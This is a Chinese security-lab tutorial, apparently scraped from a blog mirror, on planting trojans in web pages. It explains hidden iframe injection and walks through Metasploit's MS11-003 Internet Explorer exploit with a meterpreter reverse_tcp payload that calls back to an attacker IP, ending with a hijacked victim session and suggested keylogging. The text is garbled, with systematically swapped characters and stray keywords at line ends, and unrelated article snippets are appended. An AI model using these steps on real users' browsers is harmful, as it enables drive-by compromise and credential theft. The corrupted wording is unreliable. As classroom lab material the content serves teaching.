实验连接

网页挂马指的是把一个木马程序上传到网站里面,使得木马在打开网页时运行。网页挂马方式包括框架挂马、js文件挂马、body挂马、css挂马、图片假装等。经过实验了解网页挂马相关知识,学会使用框架挂马并进行相关利用。css

实验简介

实验所属系列: Web安全web

实验对象: 本科/专科信息安全专业数据库

相关课程及专业: 计算机基础、HTML、Linuxapache

实验类别: 实践实验类vim

预备知识

网页挂马简介windows

网页挂马指的是把一个木马程序上传到一个网站里面,而后用木马生成器生成一个网马,放到网页空间里面,再加代码使得木马在打开网页时运行。浏览器

工做原理安全

做为网页挂马的散布者,其目的是将木马下载到用户本地并进一步执行,当木马获得执行后,就意味着会有更多的木马被下载,且进一步被执行。这样就进入一个恶性的循环,从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。服务器

常见方式

1)将木马假装为页面元素,木马则会被浏览器自动下载到本地。

2)利用脚本运行的漏洞下载木马。

3)利用脚本运行的漏洞释放隐含在网页脚本中的木马。

4)将木马假装成缺失的组件,或和缺失的组件捆绑在一块儿,如flash播放插件。这样既达到了下载的目的,下载的组件又会被浏览器自动执行。

5)经过脚本运行调用某些com组件,利用其漏洞下载木马。

6)在渲染页面内容的过程当中,利用格式溢出释放木马,如ani格式溢出漏洞。

7)在渲染页面内容的过程当中,利用格式溢出下载木马,如flash9.0.115播放漏洞。

检测方式

1)特征匹配:将网页挂马的脚本按脚本病毒进行检测,可是网页脚本变形方式、加密方式比起传统的PE格式病毒更为多样,检测起来也更加困难。

2)主动防护:当浏览器要进行某些动做时,做出提示,以下载了某插件的安装包,会提示是否运行。好比浏览器建立暴风影音播放器时,提示是否容许运行,大多数状况下用户会点击是,网页木马会所以获得执行。

3)检查父进程是否为浏览器,这种方法很容易被躲过且会对不少插件形成误报。

防护措施

1)对开放上传附件功能的网站,必定要进行身份认证,并只容许信任的人使用上传程序。

2)保证所使用的程序及时地更新。

3)不要在前台网页加注后台管理程序登陆页面的连接。

4)时常备份数据库等文件,可是不要把备份数据放在程序默认的备份目录下。

5)管理员的用户名和密码要有必定复杂性。

6)IIS中禁止目录的写入和执行功能,能够有效防止asp木马。

7)在服务器、虚拟主机控制面板设置执行权限选项中,将有上传权限的目录取消asp的运行权限。

8)建立一个robots.txt上传到网站根目录,Robots可以有效防范利用搜索引擎窃取信息的骇客。

浏览器安全相关实验

浏览器使用安全

HTML5安全

实验目的

了解网页挂马相关知识,学会使用框架挂马,并进行相关利用。

实验环境

受害机:Windows七、ip:随机

攻击机:kali Linux、ip:10.1.1.101

实验步骤

步骤一

任务描述:学会使用框架挂马

kali机器的网站根目录为/var/www/html/,使用命令ls发现存在主页网址index.html:

使用gedit命令(或vim)打开index.html文件:

把下面这段代码插进index.html中:

(理论来讲插到任何地方都行,只要不把html语言弄乱了就行)

width、height设置为0,这样咱们就看不到网页的内容了。

这里的网马地址设置为http://10.1.1.101:8060/test.html,当用户访问到http://10.1.1.101/index.html时,会自动访问http://10.1.1.101:8060/test.html,木马会被浏览器下载到本地。

插入iframe标签后的网页代码:

这里咱们选择将网马插入到body标签中。

步骤二

任务描述:利用ms11_003IE漏洞攻击win7主机

在kali中执行msfconsole,启动metasploit:

运行命令‘use exploit/windows/browser/ ms11_003_ie_css_import’,选择漏洞利用EXP:

运行命令‘show options’,查看配置选项:

此处咱们须要设置SRVPORT、URIPATH与网马中的src一致。

执行命令:set SRVPORT 8060

执行命令:set URIPATH test.html

运行命令‘set payload windows/meterpreter/reverse_tcp’,设置攻击载荷进行回连:

运行命令‘show options’,查看配置选项,此时多了payload配置选项:

设置lhost以绑定本地ip:

命令:set lhost 10.1.1.101

运行命令‘run’,开始进行攻击:

步骤三

任务描述:模拟受害者访问含有木马的网页

首先在kali机器上执行service apache2 start,开启apache服务

在此处切换windows试验机:

Windows机器使用IE浏览器,访问http://10.1.1.101/index.html:

Kali机器端能够看到受害机成功上线:

成功获取到会话记录:

Windows机器端关闭IE浏览器,kali机器在metepreter的监听端介入会话(Ctrl+C退出链接状态):

运行命令‘sessions–i 1’,选择介入ID号为1的当前受害机回连的会话:

输入sysinfo命令,查看靶机的相关信息:

接下来还能够进行键盘记录,查看目标的用户名和密码,进而远程登陆目标机器等操做。

最后执行关机:

目标死亡。

答题

html网页挂马,浏览器安全之网页挂马实战 ——合天网安实验室学习笔记相关推荐

  1. 360浏览器怎么收藏网页 360安全浏览器快速收藏网页方法简述

    不少网友都有将一些常用的网站收藏在浏览器中的习惯,以便下次快速打开该站点或找寻.那么,在360浏览器中该怎么收藏网页呢?下面小编就来简单介绍一下360安全浏览器快速收藏网页的方法,有需要的朋友可以稍作 ...

  2. 没有网服务器怎么打开网页,苹果手机没有浏览器怎么打开网页

    苹果手机没有浏览器怎么打开网页 卡饭网 本站整理 2018-11-19 safari虽然只有苹果用户才能使用,但是随着苹果用户的增多,不少人遇到safari打不开网页的问题等,safari是苹果手机内 ...

  3. 浏览器无法显示网页解决方法

    浏览器无法显示网页解决方法 浏览器无法显示网页,错误代码:ERR_CONNECTION_ABORTED,且QQ.微信等其他应用可以正常使用,出现这样的问题一般因为DNS设置不当.DNS服务服务未启动以 ...

  4. android排查浏览器崩溃,网页崩溃Android浏览器

    任何人都可以帮我找出为什么这个网页导致Android浏览器崩溃?网页崩溃Android浏览器 所有子网页似乎工作得很好,但是当我加载在Android的主页,浏览应用程序刚刚关闭没有任何警告或错误信息. ...

  5. Python 爬虫篇#笔记02# | 网页请求原理 和 抓取网页数据

    目录 一. 网页请求原理 1.1 浏览网页的过程 1.2 统一资源定位符URL 1.3 计算机域名系统DNS 1.4 分析浏览器显示完整网页的过程 1.5 客户端THHP请求格式 1.6 服务端HTT ...

  6. css元素与浏览器边框,别具光芒CSS属性、浏览器兼容与网页布局

    别具光芒CSS属性.浏览器兼容与网页布局 语音 编辑 锁定 讨论 上传视频 上传视频 <别具光芒CSS属性.浏览器兼容与网页布局>是2008年人民邮电出版社出版的图书.该书结合大量范例与实 ...

  7. Vue:利用Vue生成的网页,在浏览器中的标签页中的图标与标题怎么修改为自己的?

    Vue:利用Vue生成的网页,在浏览器中的标签页中的图标与标题怎么修改为自己的? 在解决这个问题的时候,在网上搜到了许多答案,可以说是众说纷纭,作者结合了多个答案,最后解决了这个问题,下面把用到的资源 ...

  8. 使用隐式Intent打开系统浏览器的百度网页

    使用隐式Intent,我们不仅可以启动自己程序内的活动,还可以启动其它程序的活动,这使得Android多个应用程序之间的功能共享成为了可能.比如说你的应用程序中需要展示一个网页,这时你没有必要自己去实 ...

  9. linux火狐打不开网页视频下载,win10下火狐浏览器无法打开网页视频的解决方法...

    虽然Win10系统自带了Edge浏览器,但是很多用户仍然更喜欢使用能够自定义插件的火狐浏览器.不过,最近有用户在Win10系统中使用火狐浏览器,发现突然打不开网页视频了,其他浏览器可以打开,这是怎么回 ...

  10. Python selenium —— 用chrome的Mobile emulation模拟手机浏览器测试手机网页

    很多人发现chrome有项功能,就是在开发者工具里能够模拟手机打开网页,便想能否用selenium对此进行自动化测试.答案当然是yes! 今天博主便给大家分享下如何用chrome的MobileEmul ...

最新文章

  1. 谷歌BERT预训练源码解析(二):模型构建
  2. 低成本可复用前端框架——Linke
  3. [综述类] 一文道尽深度学习中的数据增强方法(上)
  4. 怎么判断再一个局域网内一个ip被两台机器占用_交换机与 VLAN 到底是怎么来的...
  5. android 脚本引擎,GitHub - PassByYou888/zExpression: 脚本与编译器内部的语法引擎内核,也是一种op内核,zExpression可以轻松实现自己的脚本引擎...
  6. python求50的阶乘_python中求阶乘
  7. Soul网关源码解析目录
  8. java spring log4j_配置spring的log4j日志记录
  9. windows搭建FTP
  10. Android开发入门教程pdf
  11. 黑马程序员-ios入门初体验及个人体会
  12. 使用CNN实现C-MAPSS数据集里面的剩余寿命预测(Pytorch)
  13. 如何将b站视频从手机传输到电脑上
  14. matlab在c盘有缓存文件夹吗,win10如何清除C盘缓存文件-win10清除C盘缓存的方法 - 河东软件园...
  15. 2023年深圳Java培训机构排名,不看后悔系列!
  16. 3.3KW车载充电机开关电源方案数字控制单相PFC与全桥LLC
  17. 高层次综合综述:FPGA HLS Today Successes, Challenges, and Opportunities
  18. Searchable Encryption for Healthcare Clouds:A Survey 翻译
  19. Codeforces Round #548 (Div. 2) C. Edgy Trees(思维+dfs)
  20. 山东自然人dai开给于企业核定征收纳税

热门文章

  1. 用word快速将数字字体换成新罗马详细简单方法
  2. 蚂蚁金服刘伟光:我们为什么要科技开放
  3. php 送货单管理系统,销售送货单管理系统下载
  4. linux麒麟镜像,银河麒麟、优麒麟的软件源和镜像站
  5. USGS SWB模型
  6. 通过gitbub桌面工具同步
  7. labview初级08---波形图、波形图表、XY图
  8. 安卓谷歌地图打开闪退问题解决
  9. Android 运行时权限
  10. vmware下ubuntu从图形界面切换到控制台的快捷键